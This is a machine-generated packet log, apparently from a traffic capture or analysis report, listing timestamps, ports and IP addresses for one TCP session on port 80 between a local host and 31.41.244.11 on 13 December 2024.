Dec 13, 2024 01:51:12.877254009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.877310038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.877372026 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.878235102 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.878283024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.878350973 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.878396988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.879208088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.879345894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.879396915 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.880175114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.880307913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.880373001 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.881196976 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.881325960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.881380081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.882137060 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.882189035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.882262945 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.883110046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.883128881 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.883156061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.883210897 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.883259058 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.884094954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.884151936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.884224892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.885081053 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.885157108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.885210037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.886039972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.886094093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.886178970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.886267900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.887011051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.887104988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.887119055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.887972116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.888024092 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.888096094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.888957977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.889010906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.889084101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.889130116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.889944077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.890070915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.890121937 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.890925884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.891057968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.891104937 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.891134977 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.891941071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.891993046 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.892065048 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.892112017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.892869949 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.892936945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.893019915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.893068075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.893853903 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.893908024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:12.893914938 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:12.893959045 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.036498070 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.036552906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.036591053 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.036648989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.036748886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.036748886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.037549019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.037621021 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.037729979 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.038089991 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.038506985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.038580894 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.038642883 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.038696051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.039447069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.039503098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.039554119 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.040402889 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.040460110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.040524960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.041086912 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.041380882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.041532040 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.041587114 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.042433977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.042529106 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.042586088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.043349981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.043457031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.043477058 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.043526888 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.044327021 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.044509888 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.044565916 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.045279980 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.045331955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.045445919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.045543909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.046246052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.046355963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.046360016 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.046401024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.047216892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.047354937 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.047403097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.048181057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.048316002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.048365116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.049209118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.049267054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.049314976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.050153971 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.050266981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.050270081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.050328016 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.051105022 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.051178932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.051239014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.051367998 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.052109003 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.052172899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.052201033 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.052244902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.053067923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.053122997 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.053138971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.053169012 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.054064989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.054141998 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.054182053 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.054235935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.055018902 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.055073023 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.055136919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.056011915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.056066990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.056127071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.056993008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.057044029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.057126999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.057961941 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.058017969 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.058062077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.058106899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.058928967 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.058984995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.059034109 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.059909105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.060022116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.060117960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.060875893 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.060931921 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.060985088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.061101913 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.061826944 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.061965942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.062024117 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.062850952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.062947989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.063002110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.063805103 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.063915014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.063970089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.065080881 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.065181017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.065200090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.065267086 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.065747023 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.065797091 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.065865040 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.065907955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.066704035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.066751003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.066821098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.066860914 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.067673922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.067765951 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.067812920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.067858934 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.068646908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.068701029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.068767071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.068824053 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.069633007 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.069747925 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.069796085 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.070595026 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.070713997 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.070760965 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.071569920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.071707964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.071762085 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.072535038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.072591066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.072655916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.073230028 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.073529959 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.073574066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.073654890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.073694944 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.074501991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.074565887 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.074621916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.074665070 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.075469971 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.075531006 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.075599909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.075643063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.076472044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.076524973 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.076544046 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.076577902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.077419996 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.077474117 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.077541113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.077646017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.078403950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.078458071 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.078567028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.078625917 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.079375982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.079433918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.079498053 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.080339909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.080400944 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.080475092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.081307888 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.081377983 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.081403017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.081445932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.082304955 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.082427979 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.082493067 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.083280087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.083395958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.083444118 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.084228039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.084275007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.084342957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.085225105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.085275888 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.085334063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.085845947 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.086200953 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.086250067 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.086329937 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.086385012 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.087124109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.087173939 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.228306055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.228363037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.228506088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.228506088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.228626013 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.228694916 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.228722095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.228775024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.229553938 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.229665995 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.229924917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.229974985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.230035067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.230093956 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.230875969 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.230936050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.230998993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.231076002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.231853962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.231910944 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.231966972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.232017040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.232825041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.232892990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.232955933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.233010054 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.233834982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.233899117 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.233947039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.234000921 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.234782934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.234843016 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.234914064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.234978914 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.235778093 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.235840082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.235882998 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.235937119 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.236716986 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.236778021 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.236936092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.236993074 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.237708092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.237767935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.237828016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.237881899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.238687992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.238753080 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.238821030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.238878965 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.239645958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.239712000 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.239753962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.239808083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.240636110 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.240689039 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.240758896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.240813017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.241621017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.241677999 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.241750002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.241806984 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.242568016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.242624998 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.242697001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.242753029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.243547916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.243599892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.243659973 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.243717909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.244533062 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.244595051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.244779110 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.244843006 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.245539904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.245616913 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.245646954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.245702982 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.246515989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.246573925 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.246675014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.246728897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.247504950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.247544050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.247598886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.248430014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.248502970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.248548031 CET	80	49765	31.41.244.11	192.168.2.4
